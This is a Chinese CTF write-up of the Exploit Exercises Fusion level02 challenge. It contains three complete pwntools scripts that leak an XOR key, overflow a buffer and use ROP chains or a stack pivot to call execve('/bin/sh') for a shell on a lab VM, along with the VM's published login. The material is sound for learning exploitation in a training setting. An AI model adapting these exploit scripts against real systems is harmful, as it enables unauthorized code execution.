题目: https://exploit-exercises.com/fusion/level02/
参考: CTF PWN绕过 ASLR 和 NX 的三种利用方式(http://mp.weixin.qq.com/s/6FptDuyOSp83t-B1y4SooQ)
工具: Kali Linux, pwntool, gdb, peda
这是第一次玩 pwn,几乎全程安照参考的文章做下来。参考的文章已经讲的非常详细了。我只记录下参考中没有提到的和我的实施过程。
首先从题目网站下载了 fusion 的 iso,在 macos 下用 vmware fusion 跑起来。
ssh 登录 ,用户名是 fusion / godmode
sudo -s
lsof -i
可以看到 level02这题是在20002端口。
我们用 pwntool 连接后,level02进程会产生一个新的进程来应答。因此 gdb attach 时要 attach 到对应的进程号上去。
第一次发送 长 payload 后,在断点处查看 $ebp + 4 并没有看到预期的 0x414b4141 (peda pattern)。第二次又发送了任意 payload 后,查看$ebp + 4 得到了预期的结果。说明第一次执行时,nread 没有执行完?
接下来在构造 ROP 链时,我都用 pwntool 来查所需的地址。 首先将 /opt/fusion/bin/level02 下载到 kali linux
e = ELF('bin/level02')
print hex(e.bss())
print hex(e.plt['read'])
print hex(e.plt['execve'])
print hex(e.symbols['encrypt_file'])
我用 objdump -d level02 来查找合适的返回点
方法一 一次溢出,先将'/bin/sh\0x00' 写入 BSS,再弹出栈中的三个参数,最后来到execve并执行。
from pwn import *
STRING1 = "encryption service --]\n"
STRING2 = "staff to retrieve your file --]\n"
def getkey(p):
key = ""
p.recvuntil(STRING1)
p.send("E")
data = "\xff" * 128
p.send(p32(len(data)))
p.send(data)
p.recvuntil(STRING2)
keylen = u32(p.recv(4))
print(keylen)
tmp_key = p.recv(keylen)
for x in xrange(0, 128):
key += chr(ord(tmp_key[x]) ^ 0xff)
print(keylen)
return key
def encrypt_payload(payload, key):
payload_len = len(payload)
result = ""
for x in xrange(0, payload_len):
result += chr(ord(payload[x]) ^ ord(key[x % len(key)]))
return result
def getresult(p, payload):
#p.recvuntil(STRING1)
p.send("E")
p.send(p32(len(payload)))
p.send(payload)
p.recvuntil(STRING2)
resultlen = u32(p.recv(4))
print(resultlen)
result = p.recv(resultlen)
return result
READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
BSSNULLADDR = 0x804b430
EXECVEPLT = 0x80489b0
def readsh(p, key):
payload = 131088 * 'A' + p32(READPLT) + p32(POPRET) + p32(0) + p32(BSSADDR) + p32(len(SH)) + p32(EXECVEPLT) + 'AAAA' + p32(BSSADDR) + p32(BSSNULLADDR) + p32(BSSNULLADDR)
ple = encrypt_payload(payload, key)
result = getresult(p, ple)
p.send('Q')
if __name__ == "__main__":
host = "192.168.49.164"
port = 20002
p = remote(host, port)
key = getkey(p)
print(key.encode('hex'))
readsh(p, key)
p.send(SH)
p.interactive()
方法二。两次溢出。 第一次将'/bin/sh\0x00'写入 bss,返回到 encrypt_file, 第二次溢出执行 execve
READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
BSSNULLADDR = 0x804b430
EXECVEPLT = 0x80489b0
ENCRYPTFILE = 0x80497f7
def overflow1(p, key):
payload = 131088 * 'A' + p32(READPLT) + p32(ENCRYPTFILE) + p32(0) + p32(BSSADDR) + p32(len(SH))
ple = encrypt_payload(payload, key)
result = getresult(p, ple)
p.send('Q')
def overflow2(p, key):
payload = 131088 * 'A' + p32(EXECVEPLT) + 'AAAA' + p32(BSSADDR) + p32(BSSNULLADDR) + p32(BSSNULLADDR)
ple = encrypt_payload(payload, key)
result = getresult(p, ple)
p.send('Q')
if __name__ == "__main__":
host = "192.168.49.164"
port = 20002
p = remote(host, port)
key = getkey(p)
print(key.encode('hex'))
overflow1(p, key)
p.send(SH)
overflow2(p, key)
p.interactive()
方法三 stack pivot. 在 bss 段设置好利用代码,通过将 ebp 设置为 bss 段的地址,再将 ebp 赋值给 esp(通过 leave ret),达到改变栈地址的目的。
READPLT = 0x8048860
POPRET = 0x8049529
SH = '/bin/sh\0x00'
BSSADDR = 0x804b420
NULLADDR = 0x804b448
EXECVEPLT = 0x80489b0
ENCRYPTFILE = 0x80497f7
LEAVERET = 0x804995c
POPEBPRET = 0x8048b13
def stackpivot(p, key):
payload = 131088 * 'A' + p32(POPEBPRET) + p32(BSSADDR) + p32(READPLT) + p32(LEAVERET) + p32(0) + p32(BSSADDR) + p32(200)
ple = encrypt_payload(payload, key)
result = getresult(p, ple)
p.send('Q')
if __name__ == "__main__":
host = "192.168.49.164"
port = 20002
p = remote(host, port)
key = getkey(p)
print(key.encode('hex'))
stackpivot(p, key)
payload2 = 'A'*4 + p32(EXECVEPLT) + 'A'*4 + p32(BSSADDR+24) + p32(NULLADDR) + p32(NULLADDR) + SH
p.send(payload2)
p.interactive()
重复的代码略去。
对于 NULLADDR,我是通过 gdb 查看 bss 段来确定的
x /32xb 0x804b420
感谢 giantbranch 的分享,你的这篇《CTF PWN绕过 ASLR 和 NX 的三种利用方式》我反复看了可能不下10遍。